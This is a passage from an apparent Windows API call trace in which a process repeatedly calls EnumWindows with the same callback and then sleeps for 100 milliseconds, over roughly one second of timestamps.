(lpEnumFunc=0x423dd0, lParam=0x410000) [0154.554] Sleep (dwMilliseconds=0x64) [0154.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.556] Sleep (dwMilliseconds=0x64) [0154.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.558] Sleep (dwMilliseconds=0x64) [0154.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.560] Sleep (dwMilliseconds=0x64) [0154.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.562] Sleep (dwMilliseconds=0x64) [0154.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.564] Sleep (dwMilliseconds=0x64) [0154.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.566] Sleep (dwMilliseconds=0x64) [0154.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.567] Sleep (dwMilliseconds=0x64) [0154.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.569] Sleep (dwMilliseconds=0x64) [0154.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.571] Sleep (dwMilliseconds=0x64) [0154.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.573] Sleep (dwMilliseconds=0x64) [0154.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.574] Sleep (dwMilliseconds=0x64) [0154.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.576] Sleep (dwMilliseconds=0x64) [0154.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.578] Sleep (dwMilliseconds=0x64) [0154.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.579] Sleep (dwMilliseconds=0x64) [0154.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.581] Sleep (dwMilliseconds=0x64) [0154.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.582] Sleep (dwMilliseconds=0x64) [0154.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.584] Sleep (dwMilliseconds=0x64) [0154.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.585] Sleep (dwMilliseconds=0x64) [0154.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.587] Sleep (dwMilliseconds=0x64) [0154.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.589] Sleep (dwMilliseconds=0x64) [0154.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.590] Sleep (dwMilliseconds=0x64) [0154.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.594] Sleep (dwMilliseconds=0x64) [0154.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.595] Sleep (dwMilliseconds=0x64) [0154.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.597] Sleep (dwMilliseconds=0x64) [0154.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.598] Sleep (dwMilliseconds=0x64) [0154.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.600] Sleep (dwMilliseconds=0x64) [0154.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.602] Sleep (dwMilliseconds=0x64) [0154.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.603] Sleep (dwMilliseconds=0x64) [0154.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.605] Sleep (dwMilliseconds=0x64) [0154.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.606] Sleep (dwMilliseconds=0x64) [0154.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.608] Sleep (dwMilliseconds=0x64) [0154.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.610] Sleep (dwMilliseconds=0x64) [0154.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.611] Sleep (dwMilliseconds=0x64) [0154.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.613] Sleep (dwMilliseconds=0x64) [0154.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.615] Sleep (dwMilliseconds=0x64) [0154.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.617] Sleep (dwMilliseconds=0x64) [0154.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.619] Sleep (dwMilliseconds=0x64) [0154.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.621] Sleep (dwMilliseconds=0x64) [0154.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.623] Sleep (dwMilliseconds=0x64) [0154.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.624] Sleep (dwMilliseconds=0x64) [0154.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.657] Sleep (dwMilliseconds=0x64) [0154.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.659] Sleep (dwMilliseconds=0x64) [0154.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.661] Sleep (dwMilliseconds=0x64) [0154.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.662] Sleep (dwMilliseconds=0x64) [0154.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.664] Sleep (dwMilliseconds=0x64) [0154.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.666] Sleep (dwMilliseconds=0x64) [0154.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.668] Sleep (dwMilliseconds=0x64) [0154.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.670] Sleep (dwMilliseconds=0x64) [0154.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.671] Sleep (dwMilliseconds=0x64) [0154.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.673] Sleep (dwMilliseconds=0x64) [0154.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.674] Sleep (dwMilliseconds=0x64) [0154.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.676] Sleep (dwMilliseconds=0x64) [0154.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.677] Sleep (dwMilliseconds=0x64) [0154.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.680] Sleep (dwMilliseconds=0x64) [0154.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.682] Sleep (dwMilliseconds=0x64) [0154.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.683] Sleep (dwMilliseconds=0x64) [0154.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.685] Sleep (dwMilliseconds=0x64) [0154.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.686] Sleep (dwMilliseconds=0x64) [0154.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.720] Sleep (dwMilliseconds=0x64) [0154.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.722] Sleep (dwMilliseconds=0x64) [0154.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.724] Sleep (dwMilliseconds=0x64) [0154.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.726] Sleep (dwMilliseconds=0x64) [0154.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.729] Sleep (dwMilliseconds=0x64) [0154.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.732] Sleep (dwMilliseconds=0x64) [0154.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.733] Sleep (dwMilliseconds=0x64) [0154.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.735] Sleep (dwMilliseconds=0x64) [0154.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.737] Sleep (dwMilliseconds=0x64) [0154.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.739] Sleep (dwMilliseconds=0x64) [0154.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.740] Sleep (dwMilliseconds=0x64) [0154.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.742] Sleep (dwMilliseconds=0x64) [0154.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.748] Sleep (dwMilliseconds=0x64) [0154.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.750] Sleep (dwMilliseconds=0x64) [0154.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.752] Sleep (dwMilliseconds=0x64) [0154.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.755] Sleep (dwMilliseconds=0x64) [0154.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.756] Sleep (dwMilliseconds=0x64) [0154.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.759] Sleep (dwMilliseconds=0x64) [0154.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.761] Sleep (dwMilliseconds=0x64) [0154.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.762] Sleep (dwMilliseconds=0x64) [0154.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.764] Sleep (dwMilliseconds=0x64) [0154.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.766] Sleep (dwMilliseconds=0x64) [0154.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.768] Sleep (dwMilliseconds=0x64) [0154.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.769] Sleep (dwMilliseconds=0x64) [0154.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.771] Sleep (dwMilliseconds=0x64) [0154.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.773] Sleep (dwMilliseconds=0x64) [0154.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.774] Sleep (dwMilliseconds=0x64) [0154.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.776] Sleep (dwMilliseconds=0x64) [0154.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.778] Sleep (dwMilliseconds=0x64) [0154.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.842] Sleep (dwMilliseconds=0x64) [0154.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.844] Sleep (dwMilliseconds=0x64) [0154.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.846] Sleep (dwMilliseconds=0x64) [0154.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.847] Sleep (dwMilliseconds=0x64) [0154.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.849] Sleep (dwMilliseconds=0x64) [0154.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.850] Sleep (dwMilliseconds=0x64) [0154.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.852] Sleep (dwMilliseconds=0x64) [0154.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.854] Sleep (dwMilliseconds=0x64) [0154.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.855] Sleep (dwMilliseconds=0x64) [0154.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.857] Sleep (dwMilliseconds=0x64) [0154.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.859] Sleep (dwMilliseconds=0x64) [0154.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.860] Sleep (dwMilliseconds=0x64) [0154.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.862] Sleep (dwMilliseconds=0x64) [0154.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.864] Sleep (dwMilliseconds=0x64) [0154.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.865] Sleep (dwMilliseconds=0x64) [0154.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.867] Sleep (dwMilliseconds=0x64) [0154.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.868] Sleep (dwMilliseconds=0x64) [0154.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.872] Sleep (dwMilliseconds=0x64) [0154.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.874] Sleep (dwMilliseconds=0x64) [0154.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.876] Sleep (dwMilliseconds=0x64) [0154.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.877] Sleep (dwMilliseconds=0x64) [0154.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.879] Sleep (dwMilliseconds=0x64) [0154.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.880] Sleep (dwMilliseconds=0x64) [0154.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.882] Sleep (dwMilliseconds=0x64) [0154.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.883] Sleep (dwMilliseconds=0x64) [0154.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.885] Sleep (dwMilliseconds=0x64) [0154.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.897] Sleep (dwMilliseconds=0x64) [0154.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.902] Sleep (dwMilliseconds=0x64) [0154.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.905] Sleep (dwMilliseconds=0x64) [0155.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.013] Sleep (dwMilliseconds=0x64) [0155.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.037] Sleep (dwMilliseconds=0x64) [0155.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.039] Sleep (dwMilliseconds=0x64) [0155.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.040] Sleep (dwMilliseconds=0x64) [0155.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.042] Sleep (dwMilliseconds=0x64) [0155.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.044] Sleep (dwMilliseconds=0x64) [0155.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.046] Sleep (dwMilliseconds=0x64) [0155.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.047] Sleep (dwMilliseconds=0x64) [0155.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.049] Sleep (dwMilliseconds=0x64) [0155.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.051] Sleep (dwMilliseconds=0x64) [0155.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.053] Sleep (dwMilliseconds=0x64) [0155.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.055] Sleep (dwMilliseconds=0x64) [0155.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.056] Sleep (dwMilliseconds=0x64) [0155.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.058] Sleep (dwMilliseconds=0x64) [0155.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.059] Sleep (dwMilliseconds=0x64) [0155.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.061] Sleep (dwMilliseconds=0x64) [0155.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.063] Sleep (dwMilliseconds=0x64) [0155.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.064] Sleep (dwMilliseconds=0x64) [0155.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.066] Sleep (dwMilliseconds=0x64) [0155.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.134] Sleep (dwMilliseconds=0x64) [0155.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.136] Sleep (dwMilliseconds=0x64) [0155.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.138] Sleep (dwMilliseconds=0x64) [0155.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.139] Sleep (dwMilliseconds=0x64) [0155.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.141] Sleep (dwMilliseconds=0x64) [0155.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.142] Sleep (dwMilliseconds=0x64) [0155.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.144] Sleep (dwMilliseconds=0x64) [0155.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.147] Sleep (dwMilliseconds=0x64) [0155.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.149] Sleep (dwMilliseconds=0x64) [0155.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.151] Sleep (dwMilliseconds=0x64) [0155.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.152] Sleep (dwMilliseconds=0x64) [0155.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.154] Sleep (dwMilliseconds=0x64) [0155.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.227] Sleep (dwMilliseconds=0x64) [0155.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.280] Sleep (dwMilliseconds=0x64) [0155.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.342] Sleep (dwMilliseconds=0x64) [0155.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.369] Sleep (dwMilliseconds=0x64) [0155.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.371] Sleep (dwMilliseconds=0x64) [0155.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.373] Sleep (dwMilliseconds=0x64) [0155.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.375] Sleep (dwMilliseconds=0x64) [0155.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.377] Sleep (dwMilliseconds=0x64) [0155.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.379] Sleep (dwMilliseconds=0x64) [0155.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.381] Sleep (dwMilliseconds=0x64) [0155.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.382] Sleep (dwMilliseconds=0x64) [0155.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.385] Sleep (dwMilliseconds=0x64) [0155.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.387] Sleep (dwMilliseconds=0x64) [0155.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.389] Sleep (dwMilliseconds=0x64) [0155.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.391] Sleep (dwMilliseconds=0x64) [0155.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.392] Sleep (dwMilliseconds=0x64) [0155.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.394] Sleep (dwMilliseconds=0x64) [0155.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.396] Sleep (dwMilliseconds=0x64) [0155.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.397] Sleep (dwMilliseconds=0x64) [0155.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.399] Sleep (dwMilliseconds=0x64) [0155.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.401] Sleep (dwMilliseconds=0x64) [0155.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.404] Sleep (dwMilliseconds=0x64) [0155.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.406] Sleep (dwMilliseconds=0x64) [0155.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.411] Sleep (dwMilliseconds=0x64) [0155.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.412] Sleep (dwMilliseconds=0x64) [0155.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.414] Sleep (dwMilliseconds=0x64) [0155.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.416] Sleep (dwMilliseconds=0x64) [0155.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.417] Sleep (dwMilliseconds=0x64) [0155.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.420] Sleep (dwMilliseconds=0x64) [0155.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.421] Sleep (dwMilliseconds=0x64) [0155.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.423] Sleep (dwMilliseconds=0x64) [0155.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.428] Sleep (dwMilliseconds=0x64) [0155.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.429] Sleep (dwMilliseconds=0x64) [0155.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.431] Sleep (dwMilliseconds=0x64) [0155.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.433] Sleep (dwMilliseconds=0x64) [0155.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.435] Sleep (dwMilliseconds=0x64) [0155.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.436] Sleep (dwMilliseconds=0x64) [0155.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.438] Sleep (dwMilliseconds=0x64) [0155.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.440] Sleep (dwMilliseconds=0x64) [0155.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.442] Sleep (dwMilliseconds=0x64) [0155.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.444] Sleep (dwMilliseconds=0x64) [0155.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.446] Sleep (dwMilliseconds=0x64) [0155.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.460] Sleep (dwMilliseconds=0x64) [0155.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.462] Sleep (dwMilliseconds=0x64) [0155.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.464] Sleep (dwMilliseconds=0x64) [0155.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.466] Sleep (dwMilliseconds=0x64) [0155.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.467] Sleep (dwMilliseconds=0x64) [0155.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.469] Sleep (dwMilliseconds=0x64) [0155.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.550] Sleep (dwMilliseconds=0x64) [0155.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.623] Sleep (dwMilliseconds=0x64) [0155.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.634] Sleep (dwMilliseconds=0x64) [0155.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.636] Sleep (dwMilliseconds=0x64) [0155.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.637] Sleep (dwMilliseconds=0x64) [0155.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.639] Sleep (dwMilliseconds=0x64) [0155.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.641] Sleep (dwMilliseconds=0x64) [0155.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.643] Sleep (dwMilliseconds=0x64) [0155.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.645] Sleep (dwMilliseconds=0x64) [0155.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.646] Sleep (dwMilliseconds=0x64) [0155.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.648] Sleep (dwMilliseconds=0x64) [0155.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.649] Sleep (dwMilliseconds=0x64) [0155.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.650] Sleep (dwMilliseconds=0x64) [0155.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.652] Sleep (dwMilliseconds=0x64) [0155.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.698] Sleep (dwMilliseconds=0x64) [0155.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.702] Sleep (dwMilliseconds=0x64) [0155.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.704] Sleep (dwMilliseconds=0x64) [0155.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.706] Sleep (dwMilliseconds=0x64) [0155.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.708] Sleep (dwMilliseconds=0x64) [0155.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.709] Sleep (dwMilliseconds=0x64) [0155.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.710] Sleep (dwMilliseconds=0x64) [0155.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.712] Sleep (dwMilliseconds=0x64) [0155.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.714] Sleep (dwMilliseconds=0x64) [0155.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.716] Sleep (dwMilliseconds=0x64) [0155.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.717] Sleep (dwMilliseconds=0x64) [0155.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.719] Sleep (dwMilliseconds=0x64) [0155.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.720] Sleep (dwMilliseconds=0x64) [0155.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.738] Sleep (dwMilliseconds=0x64) [0155.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.822] Sleep (dwMilliseconds=0x64) [0155.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.823] Sleep (dwMilliseconds=0x64) [0155.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.827] Sleep (dwMilliseconds=0x64) [0155.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.828] Sleep (dwMilliseconds=0x64) [0155.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.830] Sleep (dwMilliseconds=0x64) [0155.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.832] Sleep (dwMilliseconds=0x64) [0155.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.834] Sleep (dwMilliseconds=0x64) [0155.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.835] Sleep (dwMilliseconds=0x64) [0155.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.837] Sleep (dwMilliseconds=0x64) [0155.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.838] Sleep (dwMilliseconds=0x64) [0155.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.840] Sleep (dwMilliseconds=0x64) [0155.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.842] Sleep (dwMilliseconds=0x64) [0155.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.844] Sleep (dwMilliseconds=0x64) [0155.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.845] Sleep (dwMilliseconds=0x64) [0155.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.847] Sleep (dwMilliseconds=0x64) [0155.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.848] Sleep (dwMilliseconds=0x64) [0155.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.850] Sleep (dwMilliseconds=0x64) [0155.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.851] Sleep (dwMilliseconds=0x64) [0155.853] 